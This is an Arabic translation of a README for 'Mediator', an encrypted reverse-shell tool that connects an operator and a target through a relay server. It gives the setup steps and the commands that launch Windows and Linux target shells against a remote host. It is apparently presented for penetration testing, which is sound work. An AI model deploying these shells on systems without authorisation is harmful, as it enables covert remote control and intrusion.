
واجهة خلفية قابلة للتوسعة ومشفرة من البداية إلى النهاية تعمل عبر الشبكات دون الحاجة إلى إعادة توجيه المنافذ.
Mediator هي شل عكسية مشفرة من النهاية إلى النهاية حيث يتصل المشغّل والشل بخادم "وسيط" يربط بين الاتصالين. يلغي هذا الحاجة إلى أن يقوم المشغّل/المعالج بإعداد إعادة توجيه المنافذ من أجل الاستماع للاتصال. تتيح لك Mediator أيضًا إنشاء إضافات لتوسيع وظائف الشل العكسية.
يمكنك تشغيل نصوص Mediator كبرامج تنفيذية مستقلة أو استيرادها للتكامل مع أدوات الاختبار الاختراقي والاستجابة للحوادث الأخرى.
مستوحاة من تطبيقات الدردشة المشفرة من النهاية إلى النهاية، تتبع Mediator نهجًا فريدًا لنموذج العميل/الخادم للشل العكسية. تستخدم Mediator ما يلي:
تتصل الشل العكسية والمعالجات بخادم Mediator باستخدام مفتاح اتصال. يستمع الخادم على المنفذ 80 لاتصالات المعالج والمنفذ 443 لاتصالات الشل العكسية. عندما يتصل العملاء بالوسيط، يقوم الخادم بوضع العملاء في قائمة انتظار وفقًا لنوعهم ومفتاح الاتصال الخاص بهم. عندما تتصل كل من الشل العكسية والمشغّل بالخادم بنفس المفتاح، سيقوم الخادم بربط الاتصالين. من هناك، يتم تبادل المفاتيح بين العميلين، وتكون جميع الاتصالات بين الشل العكسية والمشغّل مشفرة من النهاية إلى النهاية. يضمن هذا عدم تمكن الخادم من التجسس على التدفقات التي يقوم بتوجيهها.
تتيح لك الإضافات إضافة أوامر إضافية يمكنها تنفيذ كود على مضيف المشغّل، أو المضيف الهدف، أو كليهما! يُرجى الرجوع إلى ملف README في دليل الإضافات لمزيد من المعلومات حول الإضافات.
يمكن تشغيل نصوص العملاء على Windows أو Linux، ولكن ستحتاج إلى تشغيل الخادم (mediator.py) على مضيف Linux. الخادم هو Python خالص، لذا لا يلزم تثبيت تبعيات. يمكنك إما تشغيل سكريبت الخادم باستخدام
$ python3 mediator.py
أو يمكنك بناء صورة Docker باستخدام Dockerfile المقدم وتشغيلها في حاوية (تأكد من نشر المنفذين 80 و443).
ستحتاج إلى تثبيت التبعيات الموجودة في requirements.txt) لكي يعمل العملاء. يمكنك القيام بذلك باستخدام الأمر التالي:
$ pip3 install -r requirements.txt
انظر النصائح والتذكيرات في الأسفل للحصول على مساعدة في توزيع العملاء دون القلق بشأن التبعيات.
يمكن استخدام المعالج والشل العكسية داخل نصوص Python أخرى أو مباشرة عبر سطر الأوامر. في كلتا الحالتين، يمكن للعملاء قبول وسائط لعنوان الخادم ومفتاح الاتصال. استخدام هذه الوسائط موصوف أدناه.
عنوان خادم الوسيط
بالنسبة لاستخدام سكريبت Python، يكون عنوان مضيف الوسيط مطلوبًا عند الإنشاء:
فئة Handler
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
فئة WindowsRShell
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
إذا تم تنفيذ سكريبت عميل مباشرة من شل، يمكنك إما كتابة العنوان بشكل ثابت في أسفل السكريبت، أو يمكن تحديد عنوان الخادم كوسيطة باستخدام العلم -s أو --server:
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
مفتاح الاتصال
عندما يتصل معالجان أو شلان عكسيان بخادم الوسيط بنفس مفتاح الاتصال، يتم وضع الاتصال الأول فقط في قائمة الانتظار بانتظار نظيره. حتى يتم مهلة الاتصال الموجود في قائمة الانتظار (30 ثانية) أو مطابقته مع اتصال مقابل، سيتم تجاهل جميع العملاء الآخرين من نفس النوع الذين يحاولون الاتصال بنفس مفتاح الاتصال.
من المهم التأكد من أن كل معالج يستخدم مفتاح اتصال فريد لتجنب حالة تسابق تؤدي إلى إعطاء الشل الخاطئ لمشغّل.
فقط المفاتيح التي تحتوي على البادئة "#!ConnectionKey_" سيتم قبولها من قبل الخادم. مفتاح الاتصال الافتراضي هو "#!ConnectionKey_CHANGE_ME!!!".
لتغيير مفتاح الاتصال لاستخدام سكريبت Python، يمكن توفير مفتاح الاتصال اختياريًا عند الإنشاء:
فئة Handler
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
فئة LinuxRShell
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
إذا تم تنفيذ سكريبت عميل مباشرة من شل، يمكنك إما كتابة مفتاح الاتصال بشكل ثابت في أسفل السكريبت، أو يمكن تحديد مفتاح الاتصال كوسيطة باستخدام العلم -c أو --connection-key:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile